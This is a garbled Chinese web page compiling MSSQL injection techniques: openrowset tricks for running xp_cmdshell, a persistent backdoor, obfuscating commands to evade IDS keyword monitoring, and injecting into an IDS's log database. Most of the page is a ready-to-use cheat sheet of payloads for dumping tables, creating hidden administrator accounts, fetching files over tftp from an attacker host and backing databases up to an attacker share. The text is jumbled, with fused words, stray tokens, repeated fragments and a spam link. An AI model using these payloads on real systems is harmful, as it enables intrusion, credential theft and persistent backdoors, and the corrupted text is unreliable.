mssql注入回避IDS的方法_数据库其余_脚本之家

核心提示:下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力

1.关于openrowset和opendatasource
可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是如下:
select*fromopenrowset(‘sqloledb’,’myserver’;’sa’;”,’select*fromtable’)
可见openrowset只是作为一个快捷的远程数据库访问,它必须跟在select后面,也就是说需要返回一个recordset。
那么我们能不能利用它调用xp_cmdshell呢?答案是肯定的!
select*fromopenrowset(‘sqloledb’,’server’;’sa’;”,’setfmtonlyoffexecmaster.dbo.xp_cmdshell”dirc:”’)
必须加上setfmtonlyoff用来屏蔽默认的只返回列信息的设置,这样xp_cmdshell返回的output集合就会提交给前面的select显示,如果采用默认设置,会返回空集合导致select出错,命令也就无法执行了。
那么如果我们要调用sp_addlogin呢,他不会像xp_cmdshell返回任何集合的,我们就不能再依靠fmtonly设置了,可以如下操作
select*fromopenrowset(‘sqloledb’,’server’;’sa’;”,’select”OK!”execmaster.dbo.sp_addloginHectic’)
这样,命令至少会返回select’OK!’的集合,你的机器商会显示OK!,同时对方的数据库内也会增加一个Hectic的账号,也就是说,我们利用select’OK!’的返回集合欺骗了本地的select请求,是命令能够正常执行,通理sp_addsrvrolemember和opendatasource也可以如此操作!至于这个方法真正的用处,大家慢慢想吧:P
2.关于msdasql两次请求的问题
不知道大家有没有试过用msdasql连接远程数据库,当然这个api必须是sqlserver的管理员才可以调用,那么如下
select*fromopenrowset(‘msdasql’,’driver={sqlserver};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn’,’select*fromtable1select*fromtable2′)
当table1和table2的字段数目不相同时,你会发现对方的sqlserver崩溃了,连本地连接都会失败,而系统资源占用一切正常,用pskill杀死sqlserver进程后,如果不重启机器,sqlserver要么无法正常启动,要么时常出现非法操作,我也只是碰巧找到这个bug的,具体原因我还没有摸透,而且很奇怪的是这个现象只出现在msdasql上,sqloledb就没有这个问题,看来问题不是在于请求集合数目和返回集合数目不匹配上,应该还是msdasql本身的问题,具体原因,大家一起慢慢研究吧:P
3.可怕的后门
以前在网上看到有人说在sqlserver上留后门可以通过添加triger,jobs或改写sp_addlogin和sp_addsrvrolemember做到,这些方法当然可行,但是很容易会被发现。不知道大家有没有想过sqloledb的本地连接映射。呵呵,比如你在对方的sqlserver上用sqlserver的管理员账号执行如下的命令
select*fromopenrowset(‘sqloledb’,’trusted_connection=yes;datasource=Hectic’,’setfmtonlyoffexecmaster..xp_cmdshell”dirc:”’)
这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如何发现别人放置的连接映射,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是localsystem!呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在sqlserver2000sqlserver2000SP1上通过!
另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的sqlserver是通过自定义的poweruser启动,那么sa的权限就和poweruser一样,很难有所大作为,但是我们通过如下的命令
select*fromopenrowset(‘msdasql’,’dsn=locaserver;trusted_connection=yes’,’setfmtonlyoffexecmaster..xp_cmdshell”dirc:”’)应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个poweruser权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法,
如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:
4.利用t-sql骗过ids或攻击ids
现在的ids已经变得越来越聪明了。有的ids加入了xp_cmdshellsp_addlogin的监视,但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉。
先说说欺骗ids: ids既然监视xp_cmdshell关键字,那么我们可以这么做
declare@asysnameset@a=”xp_””cmdshell”exec@a’dirc:’
这个代码相信大家都能看明白,还有xp_cmdshell作为一个storeprocedure在master库内有一个id号,固定的,我们也可以这么做
假设这个id=988456
declare@asysnameselect@a=namefromsysobjectswhereid=988456exec@a’dirc:’
当然也可以
declare@asysnameselect@a=namefromsysobjectswhereid=9884551exec@a’dirc:’
这种做法排列组合,ids根本不可能做的到完全监视。
同理,sp_addlogin也可以这么做。 再说说攻击ids:
因为ids数据量很大,日至通常备份到常规数据库,比如sqlserver。
如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sqlserver去做
通常程序会这么写inserttablevalues
那么我们想想看,如果用temp’)execxp_cmdshell’dirc:’–提交后会变成
inserttablevaluesexecxp_cmdshell’dirc:’–‘)
这样,xp_cmdshell就可以在ids的数据库运行了:)
当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成。因此,会被提交到sqlserver,这样你的命令就无法执行了。唯一的办法就是
insert/**/table/**/values/**/exec/**/xp_cmdshell/**/’dirc:’/**/–‘)
用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录,呵呵。
其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/。本来asp是select语句,那么用’就可以屏蔽。现在ids用insert语句,那么用’)屏蔽。
好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是queryanalyzer了。

amxking

在入侵过程中,得到SQLserver的权限,想进一步得到system权限的方法总结

下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别。

 判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass
password 等..
and 0(select count(*) from *)
and 0(select
count(*) from admin) —判断是否存在admin这张表
3.猜帐号数目 如果遇到00)–
and 1=(select
count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from
admin where len(_blank>密码字段名称password)>0)
5.猜解各个字段的长度
猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where
len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and
1=(select count(*) from admin where len(name)=6) 正确
and 1=(select
count(*) from admin where len(password)>11) 正确
and 1=(select count(*)
from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from
admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from
admin where left(name,1)=a) —猜解用户帐号的第一位
and 1= (select count(*) from admin
where left(name,2)=ab)—猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

*************************** 利用xp_cmdshell
***********************************

1.关于Openrowset和Opendatasource

and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51)

这个查询语句可以猜解中文的用户和_blank>密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users.id having 1=1–
group by users.id, users.username,
users.password, users.privs having 1= 1–
; insert into users values( 666,
attacker, foobar, 0xffff )–
UNION SELECT TOP 1 COLUMN_blank>_NAME
FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>
_NAME=logintable-
UNION SELECT TOP 1 COLUMN_blank>_NAME FROM
INFORMATION_blank>_SCHEMA.COLUMNS WHERE
TABLE_blank>_NAME=logintable WHERE
COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION SELECT TOP 1
COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS
WHERE
TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN
(login_blank>_id,login_blank>_name)-
UNION SELECT TOP 1
login_blank> _name FROM logintable-
UNION SELECT TOP 1 password FROM
logintable where login_blank>_name=Rahul–
看_blank>服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)–
看_blank>数据库连接账号的权限,返回正常,证明是_blank>服务器角色sysadmin权限。
and
1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))–
判断连接_blank>数据库帐号。(采用SA账号连接
返回正常=证明了连接账号是SA)
and sa=(SELECT
System_blank>_user)–
and user_blank>_name()=dbo–
and
0(select user_blank>_name()–
看xp_blank>_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND
name =
xp_blank>_cmdshell)–
xp_blank>_cmdshell被删除,恢复,支持绝对路径的恢复
;EXEC
master.dbo.sp_blank>_addextendedproc
xp_blank>_cmdshell,xplog70.dll–
;EXEC master.dbo.sp_blank>_addextendedproc
xp_blank>_cmdshell,c:
inetpubwwwrootxplog70.dll–
反向PING自己实验
;use master;declare @s
int;exec sp_blank>_oacreate “wscript.shell”,@s out;exec
sp_blank>_oamethod
@s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″;–
加帐号
;DECLARE @shell
INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC
SP_blank>
_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net user
amxking$
1866574 /add–
创建一个虚拟目录E盘:
;declare @o int exec
sp_blank>_oacreate wscript.shell, @o out exec
sp_blank>_oamethod @o, run,
NULL, cscript.exe c:inetpubwwwrootmkwebdir.vbs -w “默认Web站点” -v
“e”,”e: “–
访问属性:(配合写入一个webshell)
declare @o int exec sp_blank>_oacreate
wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL,
cscript.exe
c:inetpubwwwrootchaccess.vbs -a
w3svc/1/ROOT/e +browse
爆库
特殊_blank>技巧::%5c= 或者把/和 修改%5c提交
and 0(select top 1 paths from
newtable)–
得到库名(从1到5都是系统的id,6以上才可以判断)
and 1=(select name from
master.dbo.sysdatabases where dbid=7)–
and 0(select count(*) from
master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9….
得到更多的_blank>数据库名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0 (select top
1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin))
来得到其他的表。
and 0(select count(*) from bbs.dbo.sysobjects where xtype=U and
name=admin
and uid>(str (id))) 暴到UID的数值假设为5711277 uid=id
and
0(select top 1 name from bbs.dbo.syscolumns where id=5711277)
得到一个admin的一个字段,假设为 user_blank>_id
and 0(select top 1 name from
bbs.dbo.syscolumns where id=5711277 and name not in
(id,…)) 来暴出其他的字段
and 0_id from BBS.dbo.admin where username>1)
可以得到用户名
依次可以得到_blank>密码。。。。。假设存在user_blank>_id
username ,password 等字段
and 0(select count(*) from master.dbo.sysdatabases where
name>1 and dbid=6)
and 0 (select top 1 name from
bbs.dbo.sysobjects where xtype=U) 得到表名
and 0(select top 1 name from
bbs.dbo.sysobjects where xtype=U and name not in(Address))
and
0(select count(*) from bbs.dbo.sysobjects where xtype=U and
name=admin
and uid>(str(id))) 判断id值
and 0(select top 1 name from
BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select
1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select
1,2,3,4,5,6,7,8, *,9,10,11,12,13 from admin (union,access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));–
and (select top 1
swappass from swap)=1–
;CREATE TABLE newtable(id int IDENTITY(1,1),paths
varchar(500)) Declare @test varchar(20) exec
master..xp_blank>_regread
@rootkey=HKEY_blank>_LOCAL_blank>_MACHINE,
@key=SYSTEMCurrentControlSet
ServicesW3SVCParametersVirtual Roots, @value_blank>_name=/,
values=@test
ylg娱乐官网,OUTPUT insert into paths (path) values(@test)–
;use ku1;–
;create
table cmd (str image);– 建立image类型的表cmd
存在xp_blank>_cmdshell的测试过程:
;exec master..xp_blank>_cmdshell dir
;exec
master.dbo.sp_blank>_addlogin amxking$;– 加SQL帐号
;exec
master.dbo.sp_blank>_password null,amxking$,18779569;–
;exec
master.dbo.sp_blank>_addsrvrolemember amxking$ sysadmin;–
;exec
master.dbo.xp_blank>_cmdshell net user amxking$ 18779569
/workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add;–
;exec
master.dbo.xp_blank>_cmdshell net localgroup administrators
amxking$
/add;–
exec master..xp_blank> _servicecontrol start, schedule
启动_blank>服务
exec master..xp_blank>_servicecontrol start, server
;
DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell
OUTPUT EXEC
SP_blank>_OAMETHOD @shell,run,null, C:WINNTsystem32cmd.exe /c net
user
amxking$ 1866574 /add
;DECLARE @shell INT EXEC SP_blank>_OACREATE
wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null,
C:WINNTsystem32cmd.exe /c net localgroup administrators amxking$ /add
;
exec master..xp_blank>_cmdshell tftp -i youip get file.exe–
利用TFTP上传文件
;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:
;declare @a;set @a=db_blank>_name();backup database @a to
disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset
(_blank>sqloledb,server;sa;,select OK! exec
master.dbo.sp_blank>_addlogin
hax)

一.更改sa口令方法:
用sql综合利用工具连接后,执行命令:
exec sp_password NULL,’新密码’,’sa’
(提示:慎用!)

可能这个技巧早有人已经会了,就是利用openrowset发送本地命令。通常我们的用法是如下:

二.简单修补sa弱口令.

select * from openrowset(sqloledb,myserver;sa;,select * from table)

方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]’) and
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1)

可见呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。以上的方法在
sqlserver2000 sqlserver2000SP1上通过!

exec sp_dropextendedproc N'[dbo].[xp_cmdshell]’

另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理员账号连接sqlserver的,如果对方的
sqlserver是通过自定义的power user启动,那么sa的权限就和power
user一样,很难有所大作为,但是我们通过如下的命令:

然后按F5键命令执行完毕

select * from openrowset

方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc ‘xp_cmdshell’
然后按F5键命令执行完毕

(msdasql,dsn=locaserver;trusted_connection=yes,set fmtonly off exec
master..xp_cmdshell dir c:/)

三.恢复xp_cmdshell
简单恢复xp_cmdshell
;EXEC master.dbo.sp_addextendedproc ‘xp_cmdshell’, ‘xplog70.dll’–

应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa
那个power
user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql
的方法。

1.未能找到存储过程’master..xpcmdshell’.
恢复方法:查询分离器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname
=’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕

发表评论

电子邮件地址不会被公开。 必填项已用*标注